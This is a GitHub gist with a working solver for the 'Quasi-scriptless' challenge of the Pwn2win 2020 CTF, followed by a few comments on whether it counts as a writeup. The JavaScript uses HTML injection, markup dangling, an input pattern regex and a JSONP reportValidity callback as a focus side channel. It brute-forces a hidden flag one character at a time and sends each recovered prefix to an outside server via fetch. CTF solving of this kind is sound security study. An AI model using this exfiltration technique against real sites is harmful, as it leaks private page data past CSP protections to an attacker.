Last active
June 13, 2020 19:30
-
-
Save terjanq/cd146e97fac07db1c15e6037af7644e0 to your computer and use it in GitHub Desktop.
Solution to Scriptless challenge from Pwn2win 2020 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body> | |
</body> | |
<script> | |
/* | |
Quasi-scriptless (3 solves) | |
Chall: | |
1. The flag was in the body of the page in form of <strike>CTF-BR{flag}</strike> visible only to admin. | |
2. There was a simple HTML Injection endpoint that happened before the flag. | |
3. The goal was to retrieve that flag by sending a URL to the page to admin. | |
Rules: | |
1. CSP: default-src 'none'; script-src 'self'; form-action 'none'; base-uri 'none'; sandbox allow-scripts; | |
2. Blocked characters in HTML Injection: /[:&%#]/ | |
3. Allowed characters in JSONP: /^[a-z.]+$/ | |
Solution: | |
0. Meta redirect (<meta http-equiv="refresh" content="0;//website.com">) to external page. | |
1. Markup dangling in <input id=x value='DANGLED DATA. | |
2. <input id=x pattern="something"> RegExp to retrieve data from value='. | |
3. Callback in JSONP to inject: <script src="/hire?callback=x.reportValidity">. | |
4. x.reportValidity checks if input matches pattern, if no, input will gain focus. | |
5. Detect onblur event. | |
*/ | |
const URL = `https://scriptless.world/?name=<script defer src="/hire?callback=x.reportValidity"><\/script><input id=x pattern='!</h1>\\t\\t<font size="5">\\t\\t\\tOur company has been researching defense-in-depth features<br>\\t\\t\\tsuch as the Content Security Policy and we believe to have<br>\\t\\t\\tfound the perfect configuration for its directives.<br><br>\\t\\t\\t<font color="firebrick">\\t\\t\\t\\t<b><strike>CTF-BR\\{PREFIX[^LETTER].*' value='` | |
let prefix = '' | |
let letter = '' | |
let alph = '0123456789abcdefghijklmnopqrstuvwxyz_' | |
async function test(prefix, letter){ | |
return new Promise(r=>{ | |
let x = document.createElement('iframe'); | |
document.body.appendChild(x); | |
x.focus(); | |
let win = x.contentWindow; | |
let doc = x.contentDocument; | |
win.onblur = () => r(1); | |
let i = doc.createElement('iframe'); | |
i.src = URL.replace('PREFIX', prefix).replace('LETTER', letter) | |
doc.documentElement.appendChild(i); | |
i.onload = () => { | |
console.log(/load/); | |
r(0); | |
x.remove(); | |
} | |
}) | |
} | |
async function go(prefix){ | |
for(let c of alph){ | |
let r = await test(prefix, c); | |
if(r) { | |
prefix += c; | |
fetch('https://extract.server/x?f='+prefix) | |
go(prefix); | |
break; | |
} | |
} | |
} | |
// CTF-BR{p4tt3rn5_plu5_f0cu5_3qu4l5_s1de_ch4nn3l} | |
go('p4tt3rn5_plu5_f0cu5_3qu4l5_') | |
</script> |
You're welcome. It is not a writeup but a solver, therefore, I am not planning on adding it to ctftime. If you think this is how it should be done on ctftime, feel free to include that gist on the platform! 😄
Thanks for explaining! I'm now understanding the difference between a solver and a writeup. :)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Thanks for the writeup! Please consider adding a link on ctftime so others can find it. I was unable to find this with google/github searching. Here's a link to the quasi-scriptless page on ctftime: https://ctftime.org/task/11772